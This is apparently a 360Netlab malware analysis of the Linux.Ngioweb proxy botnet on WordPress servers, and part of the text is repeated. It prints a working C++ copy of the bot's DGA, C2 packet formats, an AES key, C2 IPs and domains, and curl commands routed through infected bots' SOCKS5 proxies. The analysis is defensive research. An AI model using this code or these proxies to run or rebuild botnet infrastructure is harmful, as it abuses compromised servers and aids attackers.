<h3 id="linuxngioweb">Linux.Ngioweb概览</h3>
<p>Linux.Ngioweb Bot样本的主要功能是在受害者的机器上实现Back-Connect Proxy[<a href="https://hide-ip-proxy.com/what-is-a-backconnect-proxy/">3]</a>。攻击者将多个Bot构建为一个Proxies Pool，并通过双层C2协议控制，然后提供Rotating Reverse Proxy Service。</p>
<p><a href="__GHOST_URL__/content/images/2019/06/Linux.Ngioweb-1.png"><img src="__GHOST_URL__/content/images/2019/06/Linux.Ngioweb-1.png" class="kg-image"/></a></p>
<h3 id="linuxngioweb">Linux.Ngioweb逆向分析</h3>
<h4 id="">样本信息</h4>
<ul>
<li>MD5: 827ecf99001fa66de513fe5281ce064d</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped</p>
</blockquote>
<h4 id="">样本对抗技巧</h4>
<ul>
<li>
<p>使用小众的musl libc库<br>
<a href="__GHOST_URL__/content/images/2019/06/1.PNG"><img src="__GHOST_URL__/content/images/2019/06/1.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>将所需函数预存在function table中<br>
<a href="__GHOST_URL__/content/images/2019/06/2.PNG"><img src="__GHOST_URL__/content/images/2019/06/2-3.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>使用Stack Strings Obfuscation技术<br>
<a href="__GHOST_URL__/content/images/2019/06/3.PNG"><img src="__GHOST_URL__/content/images/2019/06/3-2.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>动态生成CRC，AES加密算法所需常量表<br>
<a href="__GHOST_URL__/content/images/2019/06/crypt-1.png"><img src="__GHOST_URL__/content/images/2019/06/crypt-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>使用双层C2协议，其中Stage-2 C2由Stage-1 C2的CONNECT指令确定</p>
</li>
<li>
<p>Stage-2 C2使用双层加密的通信协议</p>
</li>
</ul>
<h4 id="stage1c2">Stage-1 C2协议分析</h4>
<p>在此阶段样本的主要行为是和Stage-1 C2建立通信，根据C2返回的指令进行下一步的操作。</p>
<h6 id="">通信尝试</h6>
<ul>
<li>
<p>每隔60秒尝试和以下硬编码C2 IP建立通信<br>
169.239.128.166:443<br>
185.244.149.73:443</p>
</li>
<li>
<p>每隔73秒尝试和DGA (Domain Generation Algorithm) 生成的域名建立通信。当DGA域名数达到300时，Seed会重置，所以DGA域名总数只有300。<br>
<a href="__GHOST_URL__/content/images/2019/06/4.PNG"><img src="__GHOST_URL__/content/images/2019/06/4-1.PNG" class="kg-image"/></a></p>
</li>
</ul>
<h6 id="dga">DGA实现</h6>
<pre><code class="language-c">uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
uint32_t tmp = 0x41C64E6D * seed + 0x3039;
seed = tmp;
return tmp % mod;
}
string dga(uint32_t& seed)
{
char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
"over", "mis", "dis", "pre", "post", "anti","inter",
"sub", "ultra", "non", "de","pro", "trans", "ex",
"macro", "micro", "mini","mono", "multi", "semi", "co" };
char* BodyBufA[] = {"able","ant","ate","age","ance","ancy","an","ary",
"al","en","ency","er","etn", "ed", "ese","ern","ize",
"ify","ing","ish","ity","ion","ian","ism","ist","ic","ical",
"ible","ive","ite","ish","ian","or","ous","ure" };
char* BodyBufB[] = {"dom","hood","less","like","ly","fy","ful","ness",
"ment","sion","ssion","ship","ty","th","tion","ward" };
char* TailBuf[] = { ".net",".info",".com",".biz",".org",".name" };
string BlockBufA = "aeiou";
string BlockBufB = "bcdfghklmnprstvxz";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
domain += HeadBuf[GenSeed(seed, 0x1e)];
int flag = 0;
int i = 0;
if (BlockBufA.find(domain.back()) == string::npos)
flag = 1;
int fillcnt = GenSeed(seed, 0x3) + 4;
while (fillcnt > i)
{
if (flag + i & 1)
domain += BlockBufA[GenSeed(seed, 0x5)];
else
domain += BlockBufB[GenSeed(seed, 0x11)];
i++;
}
if (BlockBufA.find(domain.back()) == string::npos)
domain += BodyBufA[GenSeed(seed, 0x23)];
else
domain += BodyBufB[GenSeed(seed, 0x10)];
if (dashloop != 0)
domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}
</code></pre>
<h6 id="">通信协议</h6>
<p>此阶段通信是基于HTTP协议，并将参数内容进行了Base64编码。</p>
<h6 id="">数据包概览</h6>
<p><a href="__GHOST_URL__/content/images/2019/06/5.PNG"><img src="__GHOST_URL__/content/images/2019/06/5.PNG" class="kg-image"/></a></p>
<h6 id="">发包解析</h6>
<p>将参数内容通过Base64解码后可以看到以下信息</p>
<p><a href="__GHOST_URL__/content/images/2019/06/6.PNG"><img src="__GHOST_URL__/content/images/2019/06/6-1.PNG" class="kg-image"/></a></p>
<ul>
<li>
<p>id=machine-id[0:15]</p>
<p><a href="__GHOST_URL__/content/images/2019/06/7.PNG"><img src="__GHOST_URL__/content/images/2019/06/7.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>v=x86_64，硬编码，架构</p>
</li>
<li>
<p>sv=5003，硬编码，版本号</p>
</li>
<li>
<p>&qlohmzalwdepupwf,随机16字节数据，算法如下</p>
<p><a href="__GHOST_URL__/content/images/2019/06/8.PNG"><img src="__GHOST_URL__/content/images/2019/06/8.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>User-Agent，硬编码</p>
<pre><code>Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
</code></pre>
</li>
</ul>
<h6 id="">收包解析</h6>
<p><a href="__GHOST_URL__/content/images/2019/06/a.PNG"><img src="__GHOST_URL__/content/images/2019/06/a.PNG" class="kg-image"/></a></p>
<p>支持的指令</p>
<ul>
<li>WAIT</li>
<li>CONNECT</li>
<li>DISCONNECT</li>
<li>CERT</li>
</ul>
<h4 id="stage2c2">Stage-2 C2协议分析</h4>
<p>在此阶段样本的主要行为是和Stage-2的C2建立通信，开启Back-Connect Proxy功能。</p>
<h6 id="">通信协议</h6>
<p>此阶段通信是经过双层加密组合合成，内层为XOR，外层为AES。</p>
<h6 id="">数据包概览</h6>
<p><a href="__GHOST_URL__/content/images/2019/06/b.PNG"><img src="__GHOST_URL__/content/images/2019/06/b.PNG" class="kg-image"/></a></p>
<h6 id="">加密算法</h6>
<p>XOR的Key由随机算法产生</p>
<p><a href="__GHOST_URL__/content/images/2019/06/d.PNG"><img src="__GHOST_URL__/content/images/2019/06/d.PNG" class="kg-image"/></a></p>
<p>算法为</p>
<p><a href="__GHOST_URL__/content/images/2019/06/c.PNG"><img src="__GHOST_URL__/content/images/2019/06/c.PNG" class="kg-image"/></a></p>
<p>AES使用ECB模式，无填充，Key为<strong>qwerasdfzxcqwerasdftyuirfdsdsdss</strong></p>
<h6 id="">数据包结构</h6>
<p>数据包由header和msg俩部分组成</p>
<p>header结构</p>
<pre><code class="language-c">#le->little endian
#be->big endian
struct header
{
uint32_le xorkey;
uint32_be msgcrc32;
uint32_be len;
uint16_be msgcode
uint16_be magic
};
</code></pre>
<p>msg由chunk构成，样本支持的chunk如下</p>
<table>
<thead>
<tr>
<th>Chunk Type</th>
<th>Chunk Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td>BYTE</td>
</tr>
<tr>
<td>2</td>
<td>2</td>
<td>WORD big endian</td>
</tr>
<tr>
<td>3</td>
<td>4</td>
<td>DWORD big endian</td>
</tr>
<tr>
<td>4</td>
<td>8</td>
<td>QWORD big endian</td>
</tr>
<tr>
<td>5</td>
<td>N+4</td>
<td>Bytes array.The first 4 bytes of chunk are the big endian-encoded length (N) of the array</td>
</tr>
</tbody>
</table>
<p>一个msg可以有一个或多个chunk,不同的msg有不同的格式。</p>
<p>样本支持的msg类型分recv和send 两种</p>
<ul>
<li>
<p>recv<br>
<a href="__GHOST_URL__/content/images/2019/06/msgrecv.PNG"><img src="__GHOST_URL__/content/images/2019/06/msgrecv.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>send<br>
<a href="__GHOST_URL__/content/images/2019/06/msgsend.PNG"><img src="__GHOST_URL__/content/images/2019/06/msgsend.PNG" class="kg-image"/></a></p>
</li>
</ul>
<p>汇总见下表</p>
<table>
<thead>
<tr>
<th>msgcode</th>
<th>Driection</th>
<th>Description</th>
<th>Fromat</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1010</td>
<td>recv</td>
<td>set channel id</td>
<td>3 chunks:(QWORD ConnId, Array IPAddr,WORD Port)</td>
</tr>
<tr>
<td>0x1011</td>
<td>recv</td>
<td>start proxy request</td>
<td>5 chunks:(QWORD RequestId, BYTE reason,BYTE AddrType,Array Addr, WORD port)</td>
</tr>
<tr>
<td>0x1012</td>
<td>recv</td>
<td>close connection</td>
<td>1 chunk:(QWORD ConnId)</td>
</tr>
<tr>
<td>0x10</td>
<td>send</td>
<td>check-in</td>
<td>1 chunk:(QWORD BotId)</td>
</tr>
<tr>
<td>0x11</td>
<td>send</td>
<td>set-channel ack</td>
<td>1 chunk:(DWORD VersionId)</td>
</tr>
<tr>
<td>0x14</td>
<td>send</td>
<td>tcp server started</td>
<td>5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port)</td>
</tr>
<tr>
<td>0x15</td>
<td>send</td>
<td>error</td>
<td>2 chunks:(DWORD RequestId,BYTE reason )</td>
</tr>
<tr>
<td>0x16</td>
<td>send</td>
<td>udp server started</td>
<td>5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port)</td>
</tr>
</tbody>
</table>
<h6 id="">发包解析样例</h6>
<ul>
<li>
<p>原始数据（数据包结构）</p>
<pre><code> packet[0:31]:
6c 52 8c 08 3e 80 a9 3c 00 00 00 10 00 10 fa 51
04 dd b0 b4 9d 10 ec 42 c3 00 00 00 00 00 00 00
header --->packet[0:15]
xorkey --->0x088c526c
msgcrc32 --->0x3e80a93c
msglen --->0x00000010
msgcode --->0x0010,check-in
magic --->0xfa51
msg --->packet[16:31]
1st chunk
chunktype --->0x4
content --->0xddb0b49d10ec42c3
</code></pre>
</li>
<li>
<p>XOR加密后</p>
<pre><code>6c 52 8c 08 36 0c fb 50 08 8c 52 7c 08 9c a8 3d
0c 51 e2 d8 95 9c be 2e cb 8c 52 6c 08 8c 52 6c
</code></pre>
</li>
<li>
<p>AES加密后</p>
<pre><code>c1 d3 78 71 2d f6 5b bb 16 ca ff 8b ef 69 bb 26
3b 01 f0 22 70 09 38 dc e7 06 89 de 2b 55 eb 8e
</code></pre>
</li>
</ul>
<h6 id="">收包解析样例</h6>
<ul>
<li>
<p>原始数据</p>
<pre><code>c5 ad 4a bf 30 C2 3a 43 9b 6e 22 08 73 e0 b9 5d
3c e6 b7 f0 74 76 53 43 3a 79 0e 82 80 1a c3 84
ba a4 85 05 4a 63 b1 d6 d1 94 ad 53 be 7a 9a 88
</code></pre>
</li>
<li>
<p>AES解密后</p>
<pre><code>59 8b e5 6d 4a ee bf ef 6d e5 8b 79 7d f5 71 08
69 b8 81 aa 92 ed 65 fb 29 e0 8b 59 6d e1 51 47
19 e1 89 d8 29 e5 8b 59 6d e5 8b 59 6d e5 8b 59
</code></pre>
</li>
<li>
<p>XOR解密后（数据包结构）</p>
<pre><code> packet[0:47]
59 8b e5 6d 27 0b 34 b6 00 00 00 20 10 10 fa 51
04 5d 0a f3 ff 08 ee a2 44 05 00 00 00 04 da 1e
74 04 02 81 44 00 00 00 00 00 00 00 00 00 00 00
header --->packet[0:15]
xorkey --->0x6de58b59
msgcrc32 --->0x270b34b6
msglen --->0x00000020
msgcode --->0x1010,set channel id
magic --->0xfa51
msg --->packet[16:47]
1st chunk
chunktype --->0x04
content --->0x5d0af3ff08eea244
2nt chunk
chunktype --->0x05
content --->len:0x00000004 buf:0xda1e7404
3rd chunk
chunktype --->0x02
content --->0x8144
</code></pre>
</li>
</ul>
<h3 id="stage2c2">Stage-2 C2关联分析</h3>
<p>我们通过访问Stage-1 C2 URL (<a href="http://185.244.149.73:443/min.js">http://185.244.149.73:443/min.js</a>) 共得到以下6个Stage-2 C2的地址。</p>
<pre><code>5.135.58.119
5.135.58.121
5.135.58.123
5.135.58.124
91.134.157.11
193.70.73.115
</code></pre>
<p>通过我们的图系统关联test.zip的MD5（9017804333c820e3b4249130fc989e00）得到了更多的URL并对他们进行指纹识别，确认了另外18个存活的Stage-2 C2。</p>
<pre><code>5.135.35.160
5.196.194.209
51.254.57.83
54.36.244.84
54.36.244.85
54.36.244.91
91.121.36.212
91.121.236.219
92.222.151.63
145.239.108.241
163.172.201.184
163.172.202.116
178.33.101.176
178.33.101.177
178.33.101.178
178.33.101.182
188.165.5.123
188.165.163.20
</code></pre>
<p>我们在free-socks.in网站上可以检索到Stage-2 C2 IP地址正在提供Socks5代理服务。</p>
<p><a href="__GHOST_URL__/content/images/2019/06/free-proxy.png"><img src="__GHOST_URL__/content/images/2019/06/free-proxy.png" class="kg-image"/></a></p>
<p>我们测试这些Socks5代理IP均正常工作，同时它们也通过Stage-1 C2协议访问了我们Sinkhole 的C2域名(enutofish-pronadimoful-multihitision.org)，所以可以说明他们都是Linux.Ngioweb Bot。</p>
<pre><code class="language-bash">root@localhost:~# curl --socks5 91.134.157.11:50880 ifconfig.me
31.170.123.49
root@localhost:~# curl --socks5 91.134.157.11:62012 ifconfig.me
208.113.197.88
root@localhost:~# curl --socks5 91.134.157.11:18278 ifconfig.me
45.58.190.100
root@localhost:~# curl --socks5 91.134.157.11:64380 ifconfig.me
72.29.64.29
root@localhost:~# curl --socks5 91.134.157.11:47067 ifconfig.me
54.38.101.17
root@localhost:~# curl --socks5 91.134.157.11:63862 ifconfig.me
88.99.212.97
root@localhost:~# curl --socks5 91.134.157.11:49475 ifconfig.me
23.91.65.240
</code></pre>
<h3 id="ip">被感染的IP信息</h3>
<p>通过Sinkhole C2域名(enutofish-pronadimoful-multihitision.org)，我们目前共观察到有2692个Bot IP。</p>
<p><a href="__GHOST_URL__/content/images/2019/06/bot.png"><img src="__GHOST_URL__/content/images/2019/06/bot.png" class="kg-image"/></a></p>
<p>以下是被感染的IP 国家/地区详细列表</p>
<pre><code>US 1306
BR 156
RU 152
DE 133
FR 102
SG 98
NL 80
GB 66
CA 66
IT 64
VN 42
AU 36
PL 31
TR 28
JP 26
IN 26
ZA 21
ID 19
ES 18
UA 15
</code></pre>
<p>通过对被感染IP指纹识别，我们观察到几乎所有Bot IP都是Web服务器，同时都部署了WordPress程序，但是我们还不能确定攻击者是如何入侵WordPress网站。</p>
<p>我们通过联系一些受感染者用户，并在他们的Web服务器上发现了多种类型的WebShell，这些WebShell都是高度混淆，但是混淆手法，加密方式以及编码特征相似。结合被感染IP访问Sinkhole时序特征，我们猜测攻击者会周期性地对受害者网站WebShell下发指令并运行Linux.Ngioweb程序。</p>
<h3 id="">处置建议</h3>
<p>Linux.Ngioweb攻击者可能会监听代理网络流量，我们建议读者不要使用Stage-2 C2 IP提供的Socks5代理服务。</p>
<p>我们建议WordPress用户备份网站文章数据库(删除wp.service.controller.*等后门用户)，重新安装最新版本WordPress程序，增强用户密码复杂度，增强WebShell检测能力，并禁止PHP命令执行相关函数；</p>
<p>相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。</p>
<h4 id="">联系我们</h4>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h4 id="ioclist">IoC list</h4>
<p>样本MD5</p>
<pre><code>827ecf99001fa66de513fe5281ce064d
</code></pre>
<p>Stage-1 C2 (硬编码IP)</p>
<pre><code>169.239.128.166 South Africa ASN 61138 Zappie Host LLC
185.244.149.73 Romania ASN 60117 Host Sailor Ltd.
</code></pre>
<p>Stage-2 C2</p>
<pre><code>163.172.201.184 France ASN 12876 Online S.a.s.
163.172.202.116 France ASN 12876 Online S.a.s.
5.135.35.160 France ASN 16276 OVH SAS
5.135.58.119 France ASN 16276 OVH SAS
5.135.58.121 France ASN 16276 OVH SAS
5.135.58.123 France ASN 16276 OVH SAS
5.135.58.124 France ASN 16276 OVH SAS
5.196.194.209 France ASN 16276 OVH SAS
51.254.57.83 France ASN 16276 OVH SAS
54.36.244.84 France ASN 16276 OVH SAS
54.36.244.85 France ASN 16276 OVH SAS
54.36.244.91 France ASN 16276 OVH SAS
91.121.36.212 France ASN 16276 OVH SAS
91.121.236.219 France ASN 16276 OVH SAS
91.134.157.11 France ASN 16276 OVH SAS
92.222.151.63 France ASN 16276 OVH SAS
145.239.108.241 Germany ASN 16276 OVH SAS
178.33.101.176 Ireland ASN 16276 OVH SAS
178.33.101.177 Ireland ASN 16276 OVH SAS
178.33.101.178 Ireland ASN 16276 OVH SAS
178.33.101.182 Ireland ASN 16276 OVH SAS
188.165.5.123 Ireland ASN 16276 OVH SAS
188.165.163.20 France ASN 16276 OVH SAS
193.70.73.115 France ASN 16276 OVH SAS
</code></pre>
<p>Stage-1 C2 (DGA)</p>
<pre><code>enutofish-pronadimoful-multihitision.org
exaraxexese-macrobacaward-exafosuness.net
nonafudazage.name
demigelike.net
emuvufehood.net
subolukobese.biz
inogepicor-prorarurument.biz
overahudulize-unazibezize-overuzozerish.org
imunolance-postodinenetn-antifipuketn.net
antizerolant-monogevudom.info
transavecaful-transinenation-transikaduhern.com
subogonance.info
inoxodusor-misehupukism.info
devikoviward-semibazegily-copaxugage.name
eniguzeless-inecimanable.net
subilebesion-irogipate.biz
colozosion-antigobunaful.name
inudiduty-dezaviness.org
irelizaring-enipulical-monovuxehossion.info
ilenudavous-monoxoxapal-semimihupution.info
ultrapadupize.biz
covategal-dezakedify-enebugassion.name
transivesudom-macropimuship.org
rezolezation-transapupirify-seminecation.name
macrolutoxous-overefimety.name
coxumumage-dexolalite.name
cotexafical-postirutuvian-emimimous.biz
copubuloness-misumusal-disokozian.com
nonecuzuking-enekopofen-imakozity.info
dezohipal-ultrazebebive.name
cosazalike-antifoxirer-subudikic.biz
underotutilism-monoceraretion-underosociful.name
overugiror.net
emuzixucize.biz
disicevament-desizigasion-recadihuful.biz
decehoward-microhikodely-overokerezant.com
microlasokadom-ultralarumous.info
minixecision-iruzaxuhood.net
profusonuty.info
multifipakency-conovofy-prorakikate.com
antiseramoment.info
postavutetn-emedarevous.biz
inolugoty-inidiverible.com
prodipamament.biz
overogobity-imivocurify-disovizution.biz
decozaness-antihazation-overetalovical.net
nonesolafy.com
unihatosancy.name
interiragocern-micropuxotion-transogorion.org
seminamatity-enogibely.name
inosebovion.net
exofifure-postirexument.info
transirirenern-semizafunic-nonivubed.biz
enegizize-microtizobity.name
macrohuseded-multipazaseship.com
imefihured-macrohixuhood.org
microlulition-macrokiguxable.biz
multizesumefy-emebefion.biz
underebelassion-postizoziless.info
dezuvazen.name
decotusion-exexavihood-exevozebant.name
disuzepuly.info
inuviging-antizoluly.biz
multisotiren-ilazufist.org
predepussion.info
inidozadom.name
interikuhaful.info
cozuheming.biz
multiruxuth.org
monozogeced.org
mononoredom.info
postarubixage-monocinamety-overogefesal.com
prebekokian-misadepepive-transilogify.com
monohatodom-cohotiship.com
exebasusion.org
unahodoness-emevuzeward-emuzeduness.com
exemidexous-underiposapite-unegatature.name
interocugopist-misugexadic-ilobipegency.org
monokifomancy-misagefism-macrobepoth.com
antizekussion-minipusaral-copofuxoship.com
relutodom-comakitize.name
multikezusion.org
emopumical-enohecical.org
semitegopish.net
recepatission.info
inoluvary.com
seminitotuful.info
interanubing-emelulotal-transugotuzern.com
subefehity-iledutession.name
ultrapapiten.biz
transuvarusish-prozumoxety.info
transisigern.org
imirotiship-microhopulive-emotomeship.com
presefavution.info
enevifaking.org
misidogive-coxecovor-dexefoxan.name
overazadudom-deliromohood.com
emakanuward.com
emitohage-overasuhorure-antitipenoless.info
ultrasesebible.biz
multihadekite.name
iluvused-iravoxish.info
postobagoly-detovaward-unixohible.biz
underasusogen.com
imovaman-multimihivoship-imeduxian.biz
dedunuguhood.com
prevukition.info
underehugavish.org
misoxomelical-iluxubism.net
microcolacoful-postabitition.name
overurohely-overadolure-iruraluness.org
unurodable-dekipuhic-postuxufous.org
unitucihern-postadagen-imupuduth.org
imukokuship.org
prenubocetion-ultrahahohood.com
monofugition-underefogukic.org
irofetufy.com
irobigelike.org
presifament.biz
overetigution.info
enuvopan-imixesoward-irarupipary.biz
inorofizian.com
monopadecotion-multicecihood-imuzicasion.com
exofosehance-minimezazofy.org
monokacofudom-inuvinable.com
emisucosion-prohosexite-imorekusion.net
semiledoduly.info
multivapufy-promumuly-enonuben.net
subebodency.info
cofexasish-inodehed.net
unutexupify-conofubusion.com
misebonure-iluborize-rezericify.com
exunaxian.info
colanizity-postosecive-nonuresible.info
dedaliward-imipusen-inacaliver.com
refusovize.org
monokuvission-transodigical-semihehamussion.biz
transalavudom-multilavezuhood.net
exusizeward.net
unisimor.name
minipihagaship.com
recusigetion-transubeviful.info
multixizitufy-microtomuly-multixoleward.com
microxulodish-semibahoty.biz
macrokunith-proxobivive.net
preginaxodom.name
transimapeful-cotalision.com
prefinazuly.name
inucasazing-microhesunian-semidikokement.biz
disitirotion-transekarenate.org
unehihify-antimepavable-nonubovafy.net
misunotelike-nonugidant.info
enogosudom-macrogekabive.biz
postozokipetn-microdomobaly.biz
interunavission-ininibecist.org
microhinoler.org
prosihamish-noneguhaness.com
preberekous-microkagibant-imemahal.name
iletegifage.org
emikuraran.biz
overokigoty-ilecavish.net
nonikofucable-postelihuzism-rexecigism.net
imixifure.info
minirabupeness-nonitefuward.org
misasugegify-underazosuzish-exuvexezical.info
multipocihood-monomuhunible.org
nonohacutancy-postuxikitan-microseditoless.info
overasobament.info
overulurotion.biz
disepadely-disuzirovor.net
repetepian-irelucify.biz
enikobadom-postolixement.name
inunatogite-imoboraness.net
irimarefy.net
monohiloless-demodefy.com
previbetian-misunohigate.info
multivunuhance-inabiber.com
semicasinaty-ilibaholy.biz
transupovetn-monozeruduless.biz
debapesetn-underisaxufical-imukugamism.info
multibibetefy.com
exanonish.name
interanulish-imazekalike-unisukugate.info
inokevidage.org
monofipuly-underubihal.net
profobekify-subebobefy-exozufous.name
macrovetecuship-emebudemical-underaxakament.biz
demeficiward-retitisily-macromuvaward.org
monosumuly-ilenusuty-dedabaness.net
exapofaran-postulusadify.com
microhobament-postevofafity.com
rebezusaly-overidirity-ultrahiseness.org
unafacigage-transihicical-prebokity.info
interazution-irudegufy-antinefoly.biz
minizecidish-macrolafukish-depovased.biz
derirepous-cosideship-semibiseless.biz
overupazadity-irativorical.name
coseviness-nonikunant-macrorasihood.net
nonesocern-macrotocipity.info
interuzoputy.info
inicinic-misuluzan-ultrakuxuness.com
sububesebism-ultrabutath.com
misacireship.org
exuxuburan-miniravuhood-exosoxen.info
macrozigahood-monosulopancy.com
unegoping-detunusion-antimuruseful.biz
macrozixaward-semivanimoly-underekutoty.biz
ultratipuxian-inosilission-multiridith.net
microtonagament.info
cobemesion-redacocoful.name
disicogure-seminedasoly.biz
dekacify.net
emegamilike-imupogazance-ultrapanacesion.org
unocelibable-underelatucance.com
irodetolike-imisocatite-inecolafian.com
antikuzucen-irokarance-transitupikible.org
semiralety-macrorobinant-ultrapixutency.biz
transisomuless.name
ilebigument-macroripakesion.org
profebarable.org
nonixigefy-protisumiless.biz
corahicohood.com
pretuvution-disafatutical-irehopuvese.name
miniregath-anticesuty-postudagily.biz
coguvilaship-recakubodom.name
overipugoful-interizihing.org
imipadaness-iralikoward-semitolicoly.info
interupefity-semigiduly.info
macromosoriship.net
antigizepist.net
subuluhic-disomokate.net
irunucudor-macrogocudern-comoxizish.name
underedofobate.net
prolapuzern-progobutiful-dehifasion.org
irucasian-macrofevasion.net
unogoxeness-semixocapency.org
rehofocese.org
exebutian-interomifenism.org
subihefahood-subenopure-ultramoherihood.net
nonezogeward.com
exasavate-minidevilefy-subanevous.biz
enodenission-overucelancy-microvitasission.info
ultrafakitesion-misesuzahical-transanafetion.biz
interinipoly-minimorovor-debininess.com
prenedelission-interugefable-repekosossion.name
postifozible-irololuship.com
unozolasion.org
unobelaness-prepifavety.info
cofukosable.info
iloletible-imakeben.info
ultraronupity.name
minikisision-monobavunism-micronepavage.org
unufepaness-misedepugance.biz
inafolage.com
semifolofic-unaraxal.biz
enerivosism-imenufanist-macrovonahood.org
monobocution.info
cosuzuness-prepurizor-unasulal.name
inopivic-antimaporary-subavocobive.biz
covogidish-iletinassion.biz
defizalike-unodatage-inarabevous.com
unuvirisern-interusalosize-misucakiness.org
ireninenish-multicemath-prezucetussion.biz
interodekive.com
iramilahood-antirotuxary-misobegesion.name
multidafadite-postagoker.org
monobagehance.net
emixuvidite-ilofikency-subolubify.biz
postugihucency-emademify.name
cotefehood-imocakitency.biz
enikavely-inosifuty-postaviraly.info
transabusossion.biz
interitebure.net
unehumugage-ultraburosion.com
subutavahen-inuhabish.org
subifefer-devufoward-probelalance.org
emefimafible.biz
ilibefudom.biz
postemivaxage.net
monofudumossion.info
inuxazodom-macrodexaxahood.org
semibugegetn-monohifutuly.biz
macromohazaship-subonohion-disonixucing.com
emosacekant-cokebohood-nonetakive.biz
interozecifist-antipinukity-multifekemath.net
refedomous-antifaliless.name
ultraxekevohood-nonizerosion-exovigant.name
interarogous-unuculuhood.org
semipulimian.com
monocalacaless.biz
disevolikency-retipegation.biz
cosituxath-misuxunor.info
ultraporader-conapefy-prolobeziless.info
ilucasure.com
reletohite-misosulahood-antitedudom.info
minivucilous-inafafomism.net
monorifutaless-ilocamussion.name
inohufohese-imufilahood-antifidupite.com
emegemaxed-transigifuty-multitumolith.net
exotacible-denitokolike.com
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2019年5月27号，360Netlab 未知威胁检测系统发现一个可疑的ELF文件，目前仅有一款杀毒引擎检测识别。通过详细分析，我们确定这是一款Proxy Botnet，并且是Win32.Ngioweb[1]恶意软件的Linux版本变种，我们将它命名为Linux.Ngioweb。它与Win32.Ngioweb共用了大量代码，不同的是它新增了DGA特性。我们注册了其中一个DGA C2域名(enutofish-pronadimoful-multihitision.org)，并对它进行Sinkhole处理以此来观察Bot连接情况。
此外，我们还观察到大量部署WordPress的Web服务器被植入Linux.Ngioweb 恶意软件。尽管Bot程序由Web容器对应的用户组运行并且权限很小但还是能够正常工作，并被充当Rotating Reverse Proxy[2]节点。
目前，我们还没有看清楚Linux.Ngioweb攻击者的目的，但我们猜测他可能会监听代理网络流量。
Linux.Ngioweb概览
Linux.Ngioweb Bot样本的主要功能是在受害者的机器上实现Back-Connect Proxy[3]。攻击者将多个Bot构建为一个Proxies Pool，并通过双层C2协议控制，然后提供Rotating Reverse Proxy Service。
Linux.Ngioweb逆向分析
样本信息
* MD5: 827ecf99001fa66de513fe5281ce064d
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped
样本对抗技巧
*
使用小众的musl libc库
*
将所需函数预存在function table中
*
使用Stack Strings Obfuscation技术
*
动态生成CRC，AES加密算法所需常量表
*
使用双层C2协议，其中Stage-2 C2由Stage-1 C2的CONNECT指令确定
*
Stage-2 C2使用双层加密的通信协议
Stage-1 C2协议分析
在此阶段样本的主要行为是和Stage-1 C2建立通信，根据C2返回的指令进行下一步的操作。
通信尝试
*
每隔60秒尝试和以下硬编码C2 IP建立通信
169.239.128.166:443
185.244.149.73:443
*
每隔73秒尝试和DGA (Domain Generation Algorithm) 生成的域名建立通信。当DGA域名数达到300时，Seed会重置，所以DGA域名总数只有300。
DGA实现
uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
uint32_t tmp = 0x41C64E6D * seed + 0x3039;
seed = tmp;
return tmp % mod;
}
string dga(uint32_t& seed)
{
char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
"over", "mis", "dis", "pre", "post", "anti","inter",
"sub", "ultra", "non", "de","pro", "trans", "ex",
"macro", "micro", "mini","mono", "multi", "semi", "co" };
char* BodyBufA[] = {"able","ant","ate","age","ance","ancy","an","ary",
"al","en","ency","er","etn", "ed", "ese","ern","ize",
"ify","ing","ish","ity","ion","ian","ism","ist","ic","ical",
"ible","ive","ite","ish","ian","or","ous","ure" };
char* BodyBufB[] = {"dom","hood","less","like","ly","fy","ful","ness",
"ment","sion","ssion","ship","ty","th","tion","ward" };
char* TailBuf[] = { ".net",".info",".com",".biz",".org",".name" };
string BlockBufA = "aeiou";
string BlockBufB = "bcdfghklmnprstvxz";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
domain += HeadBuf[GenSeed(seed, 0x1e)];
int flag = 0;
int i = 0;
if (BlockBufA.find(domain.back()) == string::npos)
flag = 1;
int fillcnt = GenSeed(seed, 0x3) + 4;
while (fillcnt > i)
{
if (flag + i & 1)
domain += BlockBufA[GenSeed(seed, 0x5)];
else
domain += BlockBufB[GenSeed(seed, 0x11)];
i++;
}
if (BlockBufA.find(domain.back()) == string::npos)
domain += BodyBufA[GenSeed(seed, 0x23)];
else
domain += BodyBufB[GenSeed(seed, 0x10)];
if (dashloop != 0)
domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}
通信协议
此阶段通信是基于HTTP协议，并将参数内容进行了Base64编码。
数据包概览
发包解析
将参数内容通过Base64解码后可以看到以下信息
*
id=machine-id[0:15]
*
v=x86_64，硬编码，架构
*
sv=5003，硬编码，版本号
*
&qlohmzalwdepupwf,随机16字节数据，算法如下
*
User-Agent，硬编码
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
收包解析
支持的指令
* WAIT
* CONNECT
* DISCONNECT
* CERT
Stage-2 C2协议分析
